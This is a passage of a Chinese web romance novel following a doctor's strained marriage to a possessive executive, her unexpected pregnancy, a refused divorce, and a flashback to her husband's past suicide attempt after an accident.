苏容泽心下黯然:“她这是被季宴礼伤得太深,对男人失去了信心。”
到了度假村,吉广通正带着甘净莲在湖边钓鱼。一个前不久还缠绵病榻生活不能自理的老人,竟然能出门钓鱼了,这画面直看得苏容泽鼻子发酸。
苏容泽掏出手机,拍下这一幕发给他母亲。
苏容泽的父母在国外分公司常驻,他母亲吉璟得知甘净莲身体越来越好,开心得恨不得送锦旗给舒星若。
鱼儿咬钩了,甘净莲提不动,敲了敲轮椅示意吉广通过来帮忙。
吉广通忙过来提起鱼竿,竟是一条大鱼。
母子俩开心得像得了天大的宝贝。
抬头望见不远处的舒星若和苏容泽,吉广通忙冲两人喊道:“你们一来就上鱼了,小舒是福星啊。”
舒星若走上前笑着说:“甘奶奶,您今天的气色真好。”
甘净莲还没有恢复说话能力,见到舒星若她脸上笑得格外灿烂。
到了房间里,舒星若一号脉,她眼角眉梢都是喜色。
苏容泽见她如此开心,立刻追问:“舒大夫,我外婆怎么样了?”
舒星若边拿针灸包边说:“甘奶奶恢复得特别好,我再行针一次,换个药方吃一个月,下个月我再看情况。”
扎完针之后,舒星若像往常一样开药方,开好药方交给一旁的吉广通。
天色已晚,吉广通留她吃饭。
刚好新到了一批云南的菌子,加上山里的走地鸡,吃一顿菌子鸡肉火锅。
见手青和鸡枞菌炒熟后在锅里滚了十几分钟后,服务员把鸡下了进去,定时十分钟,煮开就可以吃。
苏容泽帮舒星若盛了一碗,递给她:“尝尝这鲜掉眉毛的蘑菇。”
舒星若接过,“谢谢!”
她舀了一勺,吹凉后送入嘴中,菌子吃起来口感鲜嫩脆滑,这汤喝起来鲜香无双。
吃得舒星若眼睛都亮了,她有太久没有品尝这个味道了。
吉广通满意的说:“小舒,你喜欢等一下把剩余的全带回去,我知道你要来,特意让人空运过来的。”
舒星若也不跟他客气:“好,谢谢吉总!”她想拿回去给家里人尝尝。
苏容泽故意说:“舅舅,你怎么不让我带点回去?”
吉广通拍他:“你小子就别凑热闹了,你看人家小舒不辞辛苦的来给你外婆看病,你连这醋都要吃,也太不要脸了。”
众人笑作一团。
车子快到市区的时候,舒星若突然胃里一阵翻江倒海,苏容泽忙拿了一只呕吐袋给她。“哗”的一声,舒星若吐得稀里哗啦,一只袋子快吐满了。
吐完之后,她脸上的血色褪得干干净净。
苏容泽让车子直奔医院急诊科。
第25章 她怀孕了
车子开到医院的时候,舒星若已经晕过去了。
苏容泽将她抱进医院,医务人员推来担架床,舒星若被送进去了。
苏容泽心里颤抖:“难不成是吃菌子中毒了?”转念一想,他自己怎么没事呢?
他记得犹如热锅上的蚂蚁,在走廊里来回踱步。
宗司辰从没见过这么不冷静的苏容泽,他提醒道:“要不要通知舒小姐的家人?”
苏容泽立刻打给吉广通:“舅舅,舒大夫呕吐晕厥,现在在急诊室,你帮我通知他的家人。”
吉广通大惊:“我这就打电话给她婆婆。”
同时饭局上的季宴礼得到言永飞的汇报:【太太晕了,被苏容泽抱进了医院。】
季宴礼迅速黑脸,心里大为不悦,不是桌上有大客户,他早就杀进医院兴师问罪了。
韦瑛住得太远,她到的时候,舒星若已经醒来了。见舒星若苏醒,苏容泽跟韦瑛打声招呼便走了。
医生将一沓检查报告递给她,“病人肠胃不适,所以呕吐,也有可能是孕反。晕倒是呕吐之后没有及时补液,低血糖导致的。”
韦瑛惊奇:“她怀孕了吗?”
医生点头:“对。”
韦瑛立刻给季宴礼打电话:“你老婆怀孕了,快点过来。”
刚结束饭局的季宴礼犹如遭到电击,全身都麻了,“她竟然这么快怀上苏容泽的孩子。”
季宴礼面色铁青的让司机把车开得像飞机。
“舒星若,你好样的,敢给我戴绿帽子,我让你们两个都去死。”此时的季宴礼像个疯子。
韦瑛进病房看舒星若,她面色苍白的挂生理盐水。韦瑛坐到病床前,她慈爱的说:“星若,你怀孕了。”
“怀孕?”舒星若震惊得声音都抬高了。她闭上双眼,心里盘算了一会,缓缓睁开眼睛,说道:“妈,这事不要告诉季宴礼,告诉他了我这婚就离不了了。”
韦瑛心痛:“孩子,你们这婚非离不可吗?你看你这又怀孕了,也许是你挽回他的机会。”
舒星若抬眸:“妈,他一直跟何欣不清不楚的,我实在厌烦这样的日子。”即使知道季宴礼没有碰过何欣,她依然想逃离这段婚姻。
韦瑛说:“我刚进来之前已经跟他说了。”
舒星若眼前一阵发黑,心里叹气:“哎,又要跟那两个混蛋纠缠了。”
她盘算着怎么远离这两个人,出国?外公外婆还在海市,他们年纪大了,只有自己这一个亲人。
不出国,以何欣母女俩的性格,又会想别的招来对付她。
对付他俩舒星若倒是不怕,只是有季宴礼这个绊脚石搬不动。
千头万绪中,季宴礼猩红着双眼冲进了病房。
“妈,你先回去。”
“宴礼,星若都怀孕了,你该跟那个女人断了。”
季宴礼哼了一声,将韦瑛送了出去。
病房门一关上,季宴礼吼道:“舒星若,你个荡妇,不仅出轨还怀了苏容泽的孩子?”
“出轨苏容泽?季宴礼不记得那晚的事。”舒星若迅速反应过来,她装着生气的样子,“对,你能跟何欣出双入对,我为什么不能找别的男人?”
季宴礼双拳紧握,他冲上来想砸下去,到了舒星若跟前拳头停了下来。
他回头,转身把病房里能砸的东西全砸了。
砸完以后他胸口剧烈起伏:“舒星若,我跟你说最后一遍,我跟何欣之间是清白的。”
舒星若冷笑:“清白的?清白到把瑞祥制药给她?整个季氏都知道她是你女朋友,几个人知道我是你老婆?”
季宴礼冷着脸不说话。
舒星若说:“反正大家互相出轨,不如好聚好散。我净身出户,只要许许。”
听到这里,季宴礼难以置信的看着她:“你就那么爱苏容泽,爱到什么都不想要?”
舒星若点头:“我们一别两宽,不好吗?”
“不好!”季宴礼恶狠狠的瞪着她:“舒星若,这些年我果然没看错你。当年处心积虑的嫁给我,捞不到好处就立马拍屁股走人。又榜上了别的男人,还想靠着肚子上位,我明天就去找苏容泽算账。我问问他是不是瞎眼了,看上了你。”
他吼完怒气冲冲的走了出去。
“季宴礼,你给我回来。”舒星若在身后怎么喊也无济于事。
给他打电话直接挂了,舒星若心想完蛋了,给苏容泽惹大麻烦了。
马上打给他,小声说道:“苏总,我给你惹祸了。”
电话那头苏容泽平静的说道:“什么祸事?”
舒星若将刚才的事简单的说了一遍,苏容泽唇角勾起一抹无奈的笑:“舒星若,我连女朋友都没有,你给我扣上一顶夺人妻的大帽子?传出去,我这脸往哪搁?”
舒星若:“对不起。”
电话里双方停顿了一会。
苏容泽开口道:“你是不是特别想离婚?”
“是!”
苏容泽说:“把你的离婚协议交给我,剩下的我来办。”
舒星若尴尬得语无伦次:“这个……我……”
苏容泽:“舒星若,我说过你是苏家的恩人,我一定会帮你。”
“好。”
舒星若将离婚协议转发给苏容泽,打完点滴后她回到了家。
季知许已经睡了,宁可芳从韦瑛那知道了舒星若怀孕的事,一直在家里等她。
“若若,这个孩子你打算要吗?”
“要!”
宁可芳不放心的看着她:“要的话,姓季的还会跟你离婚吗?”
“他以为这个孩子不是他的,应该很快就离了。”
宁可芳眼睛瞪得溜圆:“你这是在外面找了一个?”
她知道这些年舒星若爱季宴礼入骨髓,也被伤透了。以她的性格,没有这么快走出来。
舒星若摇头:“没有,是我一个病人的家属,季宴礼误会了。我将错就错,逼他离婚,你不要跟我婆婆说。”
宁可芳叹气,好好的一段婚姻走到了背叛和欺骗的地步。
这一晚舒星若没有睡好,做了很多奇怪的梦。她是个乐观的人,不管怎样,有了孩子是一件喜事。
上学的路上,她把这事告诉了季知许:“许许,你快要有弟弟妹妹了。”
第26章 你的孩子叫我爸爸
季知许坐在安全座椅上直拍小手,“太好了,我要把这个好消息告诉爸爸。”
舒星若说:“他已经知道了。”
季知许小声道:“那妈妈原谅爸爸了吗?我们可以搬回家了吧。”
舒星若说:“许许,爸爸妈妈注定要分开,以后都不回去了。”
季知许鼻子发酸,声音哽咽:“妈妈,我知道了。”
舒星若见到儿子这样心里也不好受,安慰道:“你想你爸爸的话,我们明天一起去科技馆。”
季知许懂事的点点头:“嗯!”
送完季知许,舒星若去公司上班。
东盛大厦一楼电梯间,季宴礼和言永飞在等电梯。
季宴礼见到舒星若就火冒三丈,他讽刺的说:“都怀孕了,你男人还让你奔波辛劳。舒星若,你找男人的眼光越来越差。”
舒星若微微一笑:“是啊,要不我怎么被你浪费了六年呢?”
季宴礼被噎得说不出话来。
言永飞在一旁听得一头雾水,心里纳闷着:“太太真的跟苏容泽好上了?那今天是来谈判的,谈判就我们俩?”
电梯到了,舒星若不肯进去,季宴礼更加生气的走了。
来到苏容泽办公室,他已经让秘书泡好了舒星若送的花茶。
气定神闲的边喝边处理工作,季宴礼进来以后,他淡淡的开口:“什么风把季总吹来了?”
季宴礼:“你们什么时候好上的?”
苏容泽喝了一口茶,说道:“在季总带红颜知己出席各种重大场合的时候。”
季宴礼咬牙切齿,一拳就朝着苏容泽的面门挥舞上来。
苏容泽一脚蹬在卓沿上,身体跟着椅子快速滑开。
他轻蔑的开口:“你敢在我的地盘动手,别让我找人把你丢出去。”
季宴礼的怒火未散:“是你先动我的女人的。”
苏容泽站了起来,“谁知道呢?”
季宴礼脸上一阵红一阵白,海市确实很少有人知道舒星若是他的老婆。
“那你现在知道了,离她远点。”
苏容泽摇头:“远不了一点,她都怀孕了,我想光明正大的娶她。”
他说着将早已准备好的离婚协议递给季宴礼,“季总,签了字,互相成全,你们相忘于江湖。”
季宴礼接过离婚协议,看都没看直接撕了,挑衅的说道:“苏容泽,你记着,舒星若永远是我的女人,我这辈子都不会签字。”
苏容泽冷峻的说道:“你还真是没品。”
“再没品,我也不会去睡别人的老婆。”
苏容泽忍下心里的怒火,接着劝道:“你不离婚,这个孩子生下来就是你的孩子,你能容忍这样的事发生?”
季宴礼嘴角掠过一阵戏谑的笑:“苏总的孩子叫我爸爸,似乎是件有趣的事。”
苏容泽想把他的脑子撬开看看,到底是怎样的回路才能说出这样的话来。
季宴礼临走时丢下一句:“苏容泽,你永远都别想娶到舒星若。”
等在外面的言永飞见季宴礼完好无损的出来,悬着的心终于掉下来了。
现在最闹心的是他,季宴礼什么也没说,吃瓜吃一半堵得慌。
季宴礼刚走,苏容泽便打给舒星若:“他把离婚协议撕了,不好意思,没有帮到你。”
舒星若说:“你已经尽力了,是我抱歉才是,让你背了这么一口大锅。有空我请你吃饭。”
“好,等你有空。”
季宴礼这个疯子到底要干什么?舒星若实在是想不明白。
她气得胸口疼,直接打给季宴礼,这次倒是秒接。
真是活久见。
“你男人都告诉你了?舒星若,我就不离婚,我看你们两个要怎么收场?”
舒星若压根就没打算求他,劈头盖脸的将他骂了一顿。她不太会骂人,反反复复的就是骂他渣男。
这对季宴礼一点杀伤力都没有,他反而越听越想笑。
他嘴角含笑的说道:“舒星若,你骂完了吗?骂完了我可就挂了。”
舒星若最后说了一句:“你别让何欣知道我怀孕了,一来我给你戴绿帽名声不好听,二来她现在急切想上位,她会来找我麻烦。她找我麻烦我就生气,万一我把她当三的事爆了出去,你就丢脸了。”
这句话季宴礼听进去了,“好,我答应你。不过你得搬回来住,今晚就搬回来,不然我可管不住自己的嘴。”
舒星若顿时手脚冰冷:“季宴礼,我都这样对你了,你还让我回季家住,你看见我心里不堵吗?”
季宴礼说:“不用你管。”
舒星若深吸了一口气:“好,我搬回去。”
挂了电话他给何欣发了条信息:【不要再去找舒星若的麻烦!】
何欣立即打来电话,声音里带着委屈:“阿礼,我什么时候找过她的麻烦?是不是她跟你说我的坏话了?”她的声音开始哽咽。
季宴礼柔声道:“我不是这个意思,你离她远远的就行。”
何欣琢磨不透他究竟什么意思,只能柔顺的说道:“好的,阿礼,都听你的。”
“乖!”
舒星若在办公室里对着标书上的金额,左思右想,她也不甘心多出一千万。
她给季家安打电话:“爸,请问您有昌叔的电话吗?”
季家安神色一顿:“你要易昌的电话干什么?”
舒星若不打算隐瞒,和盘托出:“我最近打算开一家制药厂,相中的那块地瑞祥也看中了,而瑞祥现在的CEO是何欣。我打算找昌叔看能不能得到瑞祥的标价。”
季家安因为震惊音色都变了调:“瑞祥给了何欣?”
“对!”
季家安心里大骂季宴礼是缺心眼,嘴上平静的说:“你找易昌没有用,我给他打个电话,让他全力帮你。”
“谢谢爸!”
“自家人不用客气。”
舒星若要的就是季家安的这句话,有了易昌的帮助,拿下那块地十拿九稳。
忙完上午的活,舒星若给林安禾打电话,约她一起吃午饭。
“我有几件重要的事要跟你说。”
林安禾说:“我刚好在你公司附近见客户,你去找好餐厅等我。”
她带了几包最近配的花茶下去,打算送给林安禾,巧的是遇见了从总裁电梯里出来的苏容泽。
第27章 那就亲一口吧
舒星若识时务的把花茶袋子递给他,“苏总,今天谢谢你的帮忙。这点小玩意你喜欢就喝一喝。”
苏容泽接过花茶,脸上是温柔的笑容。舒星若配的花茶他简直爱不释手,每天都在办公室喝,就差出门捧个保温杯了。
“中午有空一起吃饭吗?”
舒星若摇头:“约了闺蜜,改天再请你。”
“行,有事告诉我就行。”
这句话让舒星若心中涌上一阵暖流。
舒星若在附近找了一家人少一点的韩式料理店,点了石锅拌饭、芝士年糕和辣白菜汤。林安禾很快就到了,她忙了一上午,着实饿了,一坐下来就狼吞虎咽。
舒星若边吃边玩手机,吃得很慢。
林安禾吃得差不多了问:“啥事要跟我说啊?”
舒星若立刻放下勺子说:“有两件事。”
“第一件:我怀孕了,季宴礼那晚喝醉了他不记得跟我同房过,他以为这孩子是苏容泽的。苏容泽也背了这口锅,帮我把离婚协议给了季宴礼,但是他拒绝签字。”
林安禾:“擦,季宴礼这脑神经是搭错了吗?”
林安禾自认见多识广,什么人没见过,但还是被季宴礼震惊到了。转念一想,他是真的不爱舒星若,她“出轨”都不介意。
林安禾感慨道:“苏容泽是不是喜欢你啊?这么大的锅都愿意背,还出面帮你离婚?”
舒星若立即否认:“没有没有,他外婆重病,我给她做治疗,他当我是恩人呢。”
尽管舒星若这样说,林安禾还是一脸不相信。
报恩也不能把自己的终身大事报进去吧。
舒星若接着说:“第二件,我让季宴礼叫何欣不要再打我的主意,季宴礼答应了,条件是他要我今晚就搬回去住。”
林安禾这次倒是淡定:“家里红旗不倒,外面彩旗飘飘。出轨的男人都是这个德行。”
舒星若问她:“要是季宴礼知道这孩子是他的,我这婚是不是就离不了了?”
林安禾说:“没事,他只要不撤回分居申请,到时间了婚姻自动结束。目前为止,他压根就不知道分居申请。”
听见这话,舒星若才放下心来。
林安禾想起来她说要送花茶给自己,“我的花茶呢?”
“下楼的时候碰到了苏容泽,转手给他了。你的我一会叫跑腿送给你。”
林安禾一脸八卦:“他都接受你的花茶了,还说你俩没事?”
“真没事!他上次来我办公室说事,喝了一次,挺喜欢的。”
“也许人家醉翁之意不在酒呢。”
回到办公室后舒星若给宁可芳打电话:“外婆,季宴礼要我今晚搬回去住,帮我收拾一下行李。打包好了您叫跑腿送到季家别墅去,晚上我就不回来了。”
宁可芳惊异:“他知道孩子是他的了?”
舒星若否认:“不知道,我还是想跟他离婚。再过一年多就离了,您不用担心我,我没事的。”
宁可芳怎么能不担心,“哎,你这孩子有事就自己憋着。我告诉你,要是他敢对你动手,我让你外公一针扎瘫他。”
舒星若微笑:“谢谢外婆的关心,好,他欺负我我就跟外公讲。”
就他们的冰窖婚姻,季宴礼不会欺负她,他只会冷暴力。
以前她爱他,对他的冷暴力很神伤。现在她不爱他了,毫不在意他的冷漠。
接到季知许,舒星若告诉他:“今天我们搬回家去住。”
季知许高兴得手舞足蹈,他开心的问道:“妈妈,你是跟爸爸和好了吗?”
舒星若点头:“嗯,暂时和好。”
“喔耶,我打电话让爸爸陪我们吃饭。”
电话响了好几声季宴礼才接起来:“儿子,什么事?”
季知许说:“爸爸,妈妈愿意搬回去了,你晚上带我们去吃饭。”
“不了,爸爸还有事。”
挂电话之前季知许听到了何欣的声音,季知许嘟着小嘴:“真是讨厌,陪那个女人不陪我们。”
舒星若蹲下来摸摸他的头,“不要生气哦,生气的小朋友像火山爆发,会把自己和别人都炸坏的,你想吃什么妈妈带你去。”
季知许说:“我还想吃上次的豆沙方糕。”
周五的晚上未必能定到位置,舒星若打电话去餐厅订桌。
“不好意思,我们这是会员制,没有会员定不了。”
舒星若只好打给季宴礼,再也没有秒接的待遇。
缓缓接起电话的季宴礼,声音很冷漠:“什么事?”
“许许说想吃外滩餐厅,我订不到位置,你叫人订。”舒星若同样也是冷冰冰的语气。
“不行,今晚我约了人,已经在外滩餐厅定位置了,你们换别的地方去吃。”
说完就挂了电话。
季知许抬头问:“爸爸帮你订了吗?”
“没有,爸爸说今天没位置了。你还想吃别的吗?”
季知许撅着小嘴有点不高兴,“行吧,我想一想。”
母子俩正准备上车时,苏容泽叫住了她。只见苏容泽牵着一名粉雕玉琢的小女孩,“我哥家女儿苏恬,她父母出差了,非要我来接。”
苏恬一脸不高兴的吐槽:“叔叔你是不是不喜欢看见我?”
苏容泽说:“哪有?恬恬可是我们家的掌上明珠。”苏容泽说着一把将她抱了起来,一脸的慈爱。
季知许说:“苏恬,你好,我叫季知许。我是大(一)班的。”
苏恬从苏容泽的怀里下来,像小大人一样同季知许握手:“季知许你好,我是小(二)班的。”
两个小朋友瞬间变成了好朋友,季知许说他房间里有很多手办,邀请苏恬有空去看。
苏容泽问舒星若:“你们晚上准备干嘛?”
舒星若说:“季知许想去外滩餐厅吃饭,可惜我们没有会员,订不到。”
苏容泽浅笑:“巧了,我订了个包厢,一起走吧。”
舒星若对季知许说:“许许,有豆沙方糕吃了,苏叔叔搞定了位置。”
季知许牵着苏恬兴奋的跑过来,“太好了,苏叔叔,你帮了我一个大忙。”
苏容泽逗他:“那你要怎么报答我?”
季知许说:“那我就亲恬恬一口吧。”
第28章 坏爸爸
苏容泽忙抢过苏恬,护在怀里,怕季知许真的亲了。
舒星若不好意思的拉过季知许,说道:“不可以随便亲人家女孩子。”
季知许说:“我不是随便亲的,我是喜欢恬恬才亲的。”
舒星若:“……”
苏容泽马上反驳:“小屁孩不能谈恋爱!得成年以后再谈。”
“好吧,那恬恬你等我十八岁再亲你。”
苏恬躲在苏容泽怀里:“好,那我等你。”
两小朋友把他们弄得尴尬不已,火速上车,各自在车上教育了起来。
尤其是季知许,舒星若说:“以后不能随便亲女孩子,再喜欢都不行。得你长大以后。”
季知许:“当小孩真麻烦,我要快点长大,就可以亲我喜欢的人了。”
舒星若更无语了。
车子很快到达外滩餐厅,顶顶晦气的是在车库遇见了何欣一家三口。
季宴礼不在,何欣也懒得装。
她直接问:“你什么时候跟季宴礼离婚?他一点都不爱你,你能用婚姻绑着他的人,但是绑不住他的心。今天他为我接风,他从来不带你出来吃饭。舒星若,你就是个笑话。”
舒星若皱眉:“何欣,我已经让季宴礼跟你说了,别来惹我。否则我会对你不客气。”
田玉芬不屑道:“你这个小贱人,我倒要看看你到底怎么个不客气法?”
舒星若扬了扬手里的手机:“你们刚说的话我都录音了,再惹我我就发给季宴礼。让他看看你们的真面目。”
田玉芬一点都不带怕的:“你发呀,就一个破录音还能把我家欣欣怎么样了?”
“好!”
舒星若打开手机屏幕,准备操作,何欣秒认怂了:“行,我错了,以后我都不惹你。”
一家三口灰溜溜的走了。
苏容泽刚停好车,看了个结尾,他蹙眉:“你经常面对他们一家子的骚扰?”
舒星若点头:“何欣一心想上位,季宴礼不肯签字,她急得像热锅上的蚂蚁。”
苏容泽:“那你为什么不干脆让那个女人帮忙?”
舒星若压低声音说:“我们关系复杂,现在有小朋友在,以后我再跟你讲。”
一直以来她对那段往事不想提,一提像揭疮疤的疼,但苏容泽不一样,他是个很可靠的人。
等电梯下来的时候,苏容泽嘴角带着戏谑的说:“你刚是诈她的,压根就没录音。”
舒星若点头,她刚没那么快反应过来。
“我要是开录音了,我会跟他们多废话一会,让他们暴露一下真实人品。可惜了这么好的机会,以后何欣跟我说话应该会很小心了。”
苏容泽说:“你该往好的方面想,至少他们以后不来骚扰你了。”
舒星若想想也是,可以暂时摆脱何欣这个狗皮膏药。
到了包厢里,两个小朋友直接“哇”出了声。
苏容泽定的是餐厅景色最好的一间包厢,可以俯瞰整个江景,还有对岸的金融中心。
夕阳西下,晚霞洒满整个江面,江面与天空共一色,美得让人挪不开眼睛。
也是沾了苏容泽的光,见到这么美丽的景色。
舒星若说:“相请不如偶遇,今天这顿就算我请你吃饭了。”
苏容泽:“行,那我就不跟舒大夫客气了。”
苏容泽拿起菜谱开始点菜,季知许说:“苏叔叔,我要吃豆沙方糕。”
苏恬也说:“我和叔叔都喜欢吃。”
季知许得意的说:“我和妈妈也爱吃。”
苏容泽嘴角含笑:“那咱们四个吃饭也太合拍了。”
苏容泽点了文火焖雪花牛肉、黑松茸布袋、黑豚肉碎蒸膏蟹、焦糖叉烧、黑松露鲍鱼鸡、玫瑰红茶蛋挞和两份豆沙方糕。
菜上完之后,苏容泽笑着说:“舒大夫,这一桌谢礼我满意。”
舒星若端起茶杯与他碰杯:“苏总满意就好。我不过是借花献佛。”
他们边聊边吃,两个小朋友吃得格外开心,除了食物合他们的口味,还因为他们俩聊得特别开心。
季知许说:“我明天和爸爸妈妈去科技馆。”
苏恬马上说:“那我也让叔叔带我去。”
季知许:“那我们明天不见不散。”
两人拿出各自的平板加了微信。
季知许转过头问舒星若:“妈妈,明天我们几点去?”
舒星若:“你自己问下你爸爸。”
季知许给季宴礼打电话,“爸爸,我们明天去科技馆玩,你要不要来?”
季宴礼说:“爸爸明天没空,你们自己去吧。”
季知许失望的挂了电话,他们一家三口从来没有一起出门过。
苏恬安慰他:“许许哥哥,不要伤心,我爸爸也没有时间陪我。明天就让我叔叔陪我们。”说我她眨巴着水灵灵的大眼睛望着苏容泽。
苏容泽叹气:“行吧。”
吃完饭四人有说有笑的从包厢里出来,外面的客人不禁纷纷看向他们。
大家窃窃私语了起来。
“哇,这一家四口的颜值好高。”
“父母长得那么好看,生两个漂亮孩子也是正常的。”
“那不是东盛集团的苏容泽,他什么时候结婚还有两孩子了?”
苏容泽?听到这个名字,刚吃完饭的季宴礼回头看见迎面走来的四个人,确实很像一家四口。
季宴礼想:“要是我跟舒星若离婚了,他们以后就是这样。舒星若、苏容泽,我不会让你们如愿的。”
他带着何欣一家人走了。
舒星若在后面看见他们了,她倒是没有感觉,季知许小脸红温了。
他爸爸竟然陪何欣那个坏女人不陪他。
舒星若低头对他说:“许许不要生气,你不是有我们陪吗?要是爸爸在,恬恬小可爱就不能陪我们吃饭了。”
苏恬不解的问他:“哥哥,你为什么要生气?”
季知许说:“我爸爸陪别的女人不陪我们。”
苏恬说:“那真是个坏爸爸,你不要理坏爸爸。”
苏容泽:“……”
季知许觉得苏恬说得很有道理,他决定今晚不理爸爸。
直到他睡觉前,季宴礼也没有回家。季宴礼也没有像往常一样给他打视频。
舒星若不会等他,直接关灯睡觉了。
睡得迷迷糊糊中,突然一个身体压了上来。
第29章 想起来那晚的事了
他的吻密集的砸下来,舒星若身体一滞,这人是喝醉的季宴礼。
他又要像上次一样,来占有自己。
她已经不像上次那样开心的接受,现下的她对季宴礼的行为满腔恶心。
舒星若用尽全身的力气推他,但她双手迅速被季宴礼反压,只剩双腿在极力的挣扎。
力量差距太大,完全挣脱不开。
“季宴礼,你放开我。”舒星若哭喊着。
季宴礼却丝毫没有停下动作,舒星若只能大声呼喊:“救命啊!救命!”
舒星若声嘶力竭的呼喊终于让季宴礼惊觉过来。
他滚了下来,舒星若打开灯,顺手将床头上的一杯水泼向他。
季宴礼瞬间清醒了。
他俊朗的脸十分阴郁,似乎在回忆什么事情。
舒星若冷冷的问:“季总今天又在哪里受气了,来我这里找场子?”舒星若觉得他应该是跟何欣吵架了,找自己发泄来了。跟上次一样。
季宴礼没有说话,他的脑海里闪现出一个多月前的画面。
那天他也是喝得酩酊大醉回来的,他大醉的原因是他得知何欣去做了处女膜修复手术,整个人顿时觉得四肢百骸俱碎。
他从不在意何欣是不是处,他在意的是她为什么要欺骗自己。
今天何欣跟他说在国外为他守身如玉六年,季宴礼听得心情稀碎,又去喝得酩酊大醉。
回来他就控制不住的来找舒星若。
只是这一次舒星若不再顺从他。
许久之后,季宴礼脸上沁出冰渣:“所以你肚子里的孩子是我的。舒星若,你想带着我的孩子跟别的男人鬼混?”
舒星若气得直接扇了季宴礼一巴掌,骂道:“季宴礼,我不是你,我没你那么无耻。我跟苏容泽只是朋友,是你上来污蔑就我们的。反正我想离婚,就顺着你来说。”
季宴礼英俊的脸上浮现五个指印,他冷哼一声:“苏容泽还真是爱你呢,肝脑涂地的当接盘侠。如果我真的签字了,你是不是打算带着我的孩子嫁给她,让我的孩子叫他爸爸?”
舒星若鄙视的看着他:“季宴礼,不是所有的人都像你一样对婚姻没有忠诚。苏容泽人家只是单纯的仗义,他看不过去你的所作所为才帮我的。我们什么事都没有。”
季宴礼:“你都带着儿子跟他约会了,还没有事?”
舒星若被气笑:“儿子想去外滩餐厅吃饭,你不肯帮我们订坐,人家苏容泽顺便带着我们。”
季宴礼低下头去,他今天是给何欣父母接风,他不想何欣见到舒星若患得患失。
舒星若接着说道:“这六年来,你恨我入骨,我不纠缠你了,我们离婚各奔前程不好吗?”
季宴礼怒道:“你做梦,我不会让你怀着我的孩子离婚的。谁知道你又找哪个野男人当孩子的爸爸,我可没这种癖好。”
舒星若气极:“那行,明天我就去把孩子打了。”
季宴礼猛地站了起来,他拽着舒星若的手腕,一字一句的说道:“舒星若,你休想伤害我的孩子。但凡你伤害了她,我会让你全家都不得安宁。”
舒星若倒吸一口冷气,紧闭双眼,许久之后她睁开眼睛:“你不肯放我走,那你跟何欣断干净,我安心给你生孩子。”她并非吃醋,她是想斩断何欣的靠山。
季宴礼逼视着她的眼睛:“舒星若,我的事轮不到你来管。”
说完,他一把甩开舒星若,回自己的房间了。
两人吵得太大声,弄醒了别墅里所有的人。
季知许哭着走到舒星若跟前,“妈妈,爸爸欺负你,要不我们搬走吧,我再也不想搬回来了。”
舒星若温柔的摸着他的小脑袋,“不是你的错,都是你爸爸的错,他喝醉了发酒疯。”
舒星若抱起他,陪他回房间睡觉。
季知许因为害怕,紧紧抱着舒星若,舒星若轻拍了他许久才睡着。
早上的餐桌上摆了比平常更加丰盛的早餐,燕窝粥、千层水牛奶挞、果香牛肉球、香芋椰奶南瓜煲……
刘管家说:“先生一早吩咐厨房,以后太太您的饮食规格要比从前更高。”
舒星若听着毫无波澜,只夹了几件自己爱吃的放进碗里。
她心情不佳,味同嚼蜡。
季知许倒是吃得小嘴油乎乎的,因为这里面大部分都是他爱吃的。
他一高兴,整个人就摇头晃脑的。
舒星若的情绪被他调动了一些,笑着拿纸巾帮他擦嘴。
季宴礼宿醉加上失眠,脸上看起来像霜打的茄子,无精打采的喝着暖胃粥。
眼睛时不时的偷瞟一下舒星若,舒星若连个余光都没有给他。
他想跟舒星若说话,却不知道说什么。
整个早餐桌上,冷得空气快凝结了。
吃完饭以后,舒星若带季知许上楼换衣服,准备出发去科技馆。
他们换好衣服下来,季宴礼问:“你们这是要去哪?”
季知许说:“去科技馆,爸爸你又没空。”
季宴礼低头继续喝粥。
母子俩出门时,何欣来了。她穿着礼服,妆发精致,一看就知道要去重要场合。
见到舒星若在家,何欣的脸微微变色。瞬即想到季宴礼带自己不带舒星若,像只高傲的孔雀从她身边款款而过。
舒星若翻了个白眼带着季知许离开,季宴礼马上安排高峰送他们。
何欣对季宴礼的态度很吃味,心里嘀咕:“季宴礼怎么会关心她?”
舒星若他们走了之后,何欣像一条软皮蛇似的扭过来,在季宴礼身旁坐下:“阿礼,你怎么突然关心她了?”
季宴礼放下碗,平静的说道:“我关心孩子而已。”
何欣小心翼翼的问他:“那我们一会还去慈善拍卖会吗?”
“去,”季宴礼柔下声来:“我答应你的,一定会做到。”
何欣想来拉他的手,被他不着痕迹的避开了。
何欣有些恼,不知道这男人到底什么意思,她眼中噙着欲滴不落的眼泪:“阿礼,你这是为什么?”
季宴礼拒绝回答这个问题,转身上楼换衣服。
衣帽间里,舒星若的衣物已经被佣人们挂好了,看见那一排排的衣裙,他的心里突然感觉到满足。
毕竟他人生中最灰暗的时光,是她陪他度过的。
第30章 你敢死我就敢找别的男人
那年车祸后季宴礼瘫痪,看遍了国内外的名医,都说恢复无望。
当时季氏集团面临银行抽贷和品牌信誉受损的双重危机,季家安又病倒了,何欣还离他而去。
绝望之中,在某一天舒星若去医院时,季宴礼遣散了家里的佣人,割腕自杀了。
当天舒星若查出了怀孕,她满心欢喜的回来告诉季宴礼。
走到门口就闻到了剧烈的血腥味,她冲进屋里,季宴礼已经失去知觉了。
赶紧打电话叫救护车,等救护车的途中,她取了家里的药给他止血。
一边止血一边落泪:“季宴礼,你不许睡。”
朦胧中,季宴礼只觉得有两只手在争抢他,一只说快点死吧,另一只说我不许你死。
季宴礼觉得自己很累,走向那只拖他去死的手,但另一只手一直不放弃。
救护车到的时候,幸好止血及时,不然季宴礼就有生命危险了。
季宴礼在医院里苏醒之后,第一句话就是质问舒星若:“你为什么要救我?我这种人活着还有什么意思?”
舒星若偷偷擦掉眼泪,小心翼翼的将化验单递给他:“我怀孕了,孩子不能没有爸爸。”
季宴礼看都没看检查报告,直勾勾的盯着天花板:“孩子也不需要一个残疾的爸爸。”
舒星若说:“需不需要得孩子说了算,你不能替他做主。”
季宴礼被呛得无话可说。
出院之后,舒星若形影不离的照顾他。
每天给他做针灸,一开始季宴礼十分抗拒针灸,伸手把舒星若的药箱给砸了。
药箱里的物品哗啦啦的滚了一地,舒星若捡起针囊,完好无损。
她打开针囊,直接两针把季宴礼的双手扎得不能动。
季宴礼被迫接受治疗,手虽然不能动,嘴巴还能说话。
他大骂舒星若,骂她不折手段、骂她处心积虑……舒星若一抬手,又是一针让他连话都说不出来。
第一次的针灸治疗在季宴礼的极度恐惧之中度过。
治疗完了之后,舒星若取下那三根针,舒星若说:“你现在别无选择,只能听我的。把家里的佣人叫回来,照顾我们的起居,我负责你的病情。”
